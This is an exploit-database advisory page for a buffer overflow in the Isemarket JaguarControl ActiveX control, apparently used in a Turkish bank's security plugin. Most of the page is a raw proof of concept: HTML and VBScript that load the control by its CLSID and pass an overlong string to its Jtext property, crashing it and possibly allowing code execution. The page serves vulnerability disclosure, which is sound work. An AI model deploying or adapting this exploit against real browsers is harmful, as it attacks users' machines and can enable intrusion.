Isemarket JaguarControl ActiveX Control Buffer Overflow Vulnerability

vendor:
JaguarControl
by:
Unknown
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: JaguarControl
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE: cpe:2.3:a:isemarket:jaguarcontrol:*:*:*:*:*:*:*:*
Metasploit:
Other Scripts:
Platforms Tested:
Unknown
Isemarket JaguarControl ActiveX Control Buffer Overflow Vulnerability

The Isemarket JaguarControl ActiveX control is prone to a buffer overflow. This could result in a failure of the client application invoking the control or potentially execution of arbitrary code.
Mitigation:

Unknown
Source
Exploit-DB raw data:

source: https://www.securityfocus.com/bid/14558/info

Isemarket JaguarControl ActiveX control is prone to a buffer overflow. This could result in a failure of the client application invoking the control or potentially execution of arbitrary code. 

<object
classid="CLSID:0FC8B38E-9293-424C-9D0E-CE60775679CF"
id="JagEditParola"></object>
<script language="vbscript">
<!--
msgbox("XXXXXXX BANKASI GUVENLIK KALKANI
v1.1.0.18"+Chr(10)+"(JaguarControl
NT/2K/XP)"+Chr(10)+"Buffer CRACKED {Tested XP SP1}" +
Chr(10) + "Bug Found: Tacettin Karadeniz [
tacettinkaradeniz[@]yahoo.com ]")
a="1234567890qwertyuopasdfghjklzxcvbnm"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparapara0000paraparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
a= a &
"paraparaparaparaparaparaparaparaparaparaparaparaparaparaparapar"
JagEditParola.Jtext=a
--></script>